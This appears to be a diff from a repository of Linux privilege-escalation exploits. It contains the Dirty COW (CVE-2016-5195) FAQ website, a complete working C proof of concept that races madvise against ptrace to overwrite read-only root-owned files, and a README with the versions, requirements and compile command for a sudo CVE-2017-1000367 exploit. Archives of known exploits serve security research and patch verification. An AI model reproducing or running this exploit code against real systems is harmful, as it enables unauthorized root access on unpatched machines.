<style>body{padding-top:20px;padding-bottom:20px}.header,.marketing,.footer{padding-right:15px;padding-left:15px}.header{padding-bottom:20px;border-bottom:1px solid #e5e5e5}.header h3{margin-top:0;margin-bottom:0;line-height:40px}.footer{padding-top:19px;color:#777;border-top:1px solid #e5e5e5}@media (min-width:768px){.container{max-width:730px}}.container-narrow>hr{margin:30px 0}.jumbotron{text-align:center;border-bottom:1px solid #e5e5e5}.jumbotron .btn{padding:14px 24px;font-size:21px}.marketing{margin:40px 0}.marketing p+h4{margin-top:28px}@media screen and (min-width:768px){.header,.marketing,.footer{padding-right:0;padding-left:0}.header{margin-bottom:30px}.jumbotron{border-bottom:0}}</style>
</head>
<body>
<div id="fb-root"></div>
<script>(function(d, s, id) {var js, fjs = d.getElementsByTagName(s)[0];if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;js.src = "//connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.8";
fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk'));</script>
<a href="https://github.com/dirtycow/dirtycow.github.io"><img style="position: absolute; top: 0; right: 0; border: 0;" src="https://camo.githubusercontent.com/652c5b9acfaddf3a9c326fa6bde407b87f7be0f4/68747470733a2f2f73332e616d617a6f6e6177732e636f6d2f6769746875622f726962626f6e732f666f726b6d655f72696768745f6f72616e67655f6666373630302e706e67" alt="Fork me on GitHub" data-canonical-src="https://s3.amazonaws.com/github/ribbons/forkme_right_orange_ff7600.png"></a>
<div class="container">
<div class="header clearfix">
<nav>
<ul class="nav nav-pills pull-right">
<li role="presentation" class="active"><a href="#" target="_self">Home</a></li>
<li role="presentation"><a href="//twitter.com/DirtyCOWVuln">Twitter</a></li>
<li role="presentation"><a href="//github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails">Wiki</a></li>
<li role="presentation"><a href="//www.zazzle.com/collections/white_theme-119587962650451153">Shop</a></li>
</ul>
</nav>
<h3 class="text-muted">CVE-2016-5195 <div class="fb-like" data-href="https://www.facebook.com/Dirty-COW-Vulnerability-1203812509677078/" data-layout="button" data-action="like" data-show-faces="false" data-share="false"></div></h3>
</div>
<div class="jumbotron">
<div title="This logo is on the public domain. Feel free to do whatever you want with it." style="background-image: url(cow.svg); background-repeat: no-repeat; background-position: 50% 50%; width: 100%; background-size: 1024px; height: 400px;"></div>
<p class="lead">Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel</p>
<p>
<a class="btn btn-lg btn-success" href="https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs" role="button">View Exploit</a>
<a class="btn btn-lg btn-default" href="//github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails" role="button">Details</a>
</p>
</div>
<div class="row marketing">
<div><h2>FAQ</h2></div>
<div class="col-lg-6">
<h4>What is the CVE-2016-5195?</h4>
<p>CVE-2016-5195 is the official reference to this bug. CVE (Common Vulnerabilities and Exposures) is the Standard for Information Security Vulnerability Names maintained by MITRE.</p>
<h4>Why is it called the Dirty COW bug?</h4>
<p>"<em>A <a href="https://en.wikipedia.org/wiki/Race_condition">race condition</a> was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.</em>" (<a href="https://bugzilla.redhat.com/show_bug.cgi?id=1384344#">RH</a>)</p>
<h4>What makes the Dirty COW bug unique?</h4>
<p>In fact, all the boring normal bugs are _way_ more important, just because there's a lot more of them. I don't think some spectacular security hole should be glorified or cared about as being any more "special" than a random spectacular crash due to bad locking.</p>
<h4>Anyone sharing or have details about the "<a href="https://twitter.com/timstrazz/status/788966208754241536">in the wild exploit</a>"?</h4>
<p>An exploit using this technique has been found in the wild from an HTTP packet capture according to <a href="http://www.v3.co.uk/v3-uk/news/2474845/linux-users-urged-to-protect-against-dirty-cow-security-flaw">Phil Oester</a>.</p>
</div>
<div class="col-lg-6">
<h4>How do I use this document?</h4>
<p>This FAQ provides answers to some of the most frequently asked questions regarding the Dirty COW vulnerability. This is a living document and will be updated regularly at <a href="https://dirtycow.ninja">https://dirtycow.ninja</a>.</p>
<h4>Am I affected by the bug?</h4>
<p><script>document.write(navigator.userAgent.match(/Linux|Android/)?'Yes':'Nope')</script>.</p>
<h4>Can my antivirus detect or block this attack?</h4>
<p>Although the attack can happen in different layers, antivirus signatures that detect Dirty COW could be developed. Due to the attack complexity, differentiating between legitimate use and attack cannot be done easily, but the attack may be detected by comparing the size of the binary against the size of the original binary. This implies that antivirus can be programmed to detect the attack but not to block it unless binaries are blocked altogether.</p>
<h4>Is this an OpenSSL bug?</h4>
<p><a href="https://media.giphy.com/media/jA4T01RxBv77W/giphy.gif">No</a>.</p>
<h4>Where can I find more information?</h4>
<p><a href="https://access.redhat.com/security/cve/cve-2016-5195">Red Hat</a>. <a href="https://security-tracker.debian.org/tracker/CVE-2016-5195">Debian</a>. <a href="http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html">Ubuntu</a>. <a href="https://www.suse.com/security/cve/CVE-2016-5195.html">SUSE</a>.</p>
</div>
</div>
<div class="row marketing">
<div class="col-lg-6">
<h4>How can Linux be fixed?</h4>
<p>Even though the actual code fix may appear trivial, the Linux team is the expert in fixing it properly so the fixed version or newer should be used. If this is not possible software developers can recompile Linux with the <a href="https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619">fix</a> applied.</p>
<h4>How do I uninstall Linux?</h4>
<p>Please follow <script>document.write('<a href="' + (!navigator.userAgent.match(/Android/)?'https://youtu.be/MZrdrfdAl44?t=14':'https://youtu.be/t_VdJJErdVs?t=62') + '">these</a>');</script> instructions.</p>
<h4>Can I detect if someone has exploited this against me?</h4>
<p>Exploitation of this bug does not leave any trace of anything abnormal happening to the logs.</p>
<h4>Has this been <a href="https://youtu.be/hL9iYboM3MU">exploited</a> in the wild?</h4>
<p><a href="https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16">Maybe</a>. Maybe not. We don't know. Security community should deploy honeypots that entrap attackers and to alert about exploitation attempts.</p>
<h4>Who found the Dirty COW vulnerability?</h4>
<p><a href="https://access.redhat.com/security/cve/CVE-2016-5195">Phil Oester</a></p>
</div>
<div class="col-lg-6">
<h4>What's with the stupid (logo|website|<a href="//twitter.com/DirtyCowVuln">twitter</a>|github account)?</h4>
<p>It would have been fantastic to eschew this ridiculousness, because we all make fun of branded vulnerabilities too, but this was not the right time to make that stand. So we created a website, an online shop, a twitter account, and used a logo that a professional designer created.</p>
<h4>What can be done to prevent this from happening in future?</h4>
<p>The security community, we included, must learn to find these inevitable human mistakes sooner. Please support the development effort of software you trust your privacy to. <a href="https://www.freebsd.org/donations/">Donate money to the FreeBSD project</a>.</p>
<h4>Is there <a href="https://youtu.be/jHPOzQzk9Qo">a bright side</a> to all this?</h4>
<p>For those service providers who are affected, this is a good opportunity to upgrade security strength of the systems used. A lot of software gets updates which otherwise would have not been urgent. Although this is painful for the security community, we can rest assured that infrastructure of the cyber criminals and their secrets have been exposed as well.</p>
</div>
</div>
<footer class="footer">
<p>Dirty COW is a community-maintained project for the bug otherwise known as CVE-2016-5195. It is not associated with the Linux Foundation, nor with the original discoverer of this vulnerability. If you would like to contribute go to <a href="//github.com/dirtycow/dirtycow.github.io">GitHub</a>.</p>
</footer>
</div>
</body>
</html>

View File

@ -0,0 +1,72 @@
// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball
#include <fcntl.h> //// pikachu
#include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
#include <string.h> //// pokeball
#include <stdio.h> //// (___)
#include <stdint.h> //// (o o)_____/
#include <sys/mman.h> //// @@ ` \
#include <sys/types.h> //// \ ____, /miltank
#include <sys/stat.h> //// // //
#include <sys/wait.h> //// ^^ ^^
#include <sys/ptrace.h> //// mmap bc757000
#include <unistd.h> //// madvise 0
////////////////////////////////////////////// ptrace 0
////////////////////////////////////////////// miltank
//////////////////////////////////////////////
int f ;// file descriptor
void *map ;// memory map
pid_t pid ;// process id
pthread_t pth ;// thread
struct stat st ;// file info
//////////////////////////////////////////////
void *madviseThread(void *arg) {// madvise thread
int i,c=0 ;// counters
for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8
c+=madvise(map,100,MADV_DONTNEED) ;// race condition
printf("madvise %d\n\n",c) ;// sum of errors
}// /madvise thread
//////////////////////////////////////////////
int main(int argc,char *argv[]) {// entrypoint
if(argc<3)return 1 ;// ./d file contents
printf("%s \n\
(___) \n\
(o o)_____/ \n\
@@ ` \\ \n\
\\ ____, /%s \n\
// // \n\
^^ ^^ \n\
", argv[1], argv[2]) ;// dirty cow
f=open(argv[1],O_RDONLY) ;// open read only file
fstat(f,&st) ;// stat the fd
map=mmap(NULL ,// mmap the file
st.st_size+sizeof(long) ,// size is filesize plus padding
PROT_READ ,// read-only
MAP_PRIVATE ,// private mapping for cow
f ,// file descriptor
0) ;// zero
printf("mmap %lx\n\n",(unsigned long)map);// sum of error code
pid=fork() ;// fork process
if(pid) {// if parent
waitpid(pid,NULL,0) ;// wait for child
int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length)
for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l
for(o=0;o<l;o++)//////////////////////// repeat for each byte
for(u=0;u<10000;u++)////////////////// try 10K times each time
c+=ptrace(PTRACE_POKETEXT ,// inject into memory
pid ,// process id
map+o ,// address
*((long*)(argv[2]+o))) ;// value
printf("ptrace %d\n\n",c) ;// sum of error code
}// otherwise
else {// child
pthread_create(&pth ,// create new thread
NULL ,// null
madviseThread ,// run madviseThred
NULL) ;// null
ptrace(PTRACE_TRACEME) ;// stat ptrace on child
kill(getpid(),SIGSTOP) ;// signal parent
pthread_join(pth,NULL) ;// wait for thread
}// / child
return 0 ;// return
}// / entrypoint
//////////////////////////////////////////////

33
2017/CVE-2017-1000367/README.md Executable file
View File

@ -0,0 +1,33 @@
# CVE-2017-1000367
CVE-2017-1000367
The exp is from [@c0d3z3r0](https://github.com/c0d3z3r0/sudo-CVE-2017-1000367)
Vulnerability reference:
* [CVE-2017-1000367](https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-1000367.html)
## sudo
```
Sudo 1.8.6p7 - 1.8.20
```
## Requirements
- System must be selinux-enabled
- sudo needs to be built with selinux support (sudo -r)
- User needs to have sudo permissions e.g. "toor ALL=(ALL) NOPASSWD: /usr/bin/sum"
## Usage
```
- Compile: gcc -o sudopwn sudopwn.c -lutil
```
![CVE-2017-1000367](Screenshot_2017-06-05_21-40-38.png)
## References
* [CVE-2017-1000367 in Sudo's get_process_ttyname() for Linux](http://www.openwall.com/lists/oss-security/2017/05/30/16)
* [Linux security alert: Bug in sudos get_process_ttyname()](https://www.cyberciti.biz/security/linux-security-alert-bug-in-sudos-get_process_ttyname-cve-2017-1000367/)

Binary file not shown.

After

Width:  |  Height:  |  Size: 75 KiB

Some files were not shown because too many files have changed in this diff Show More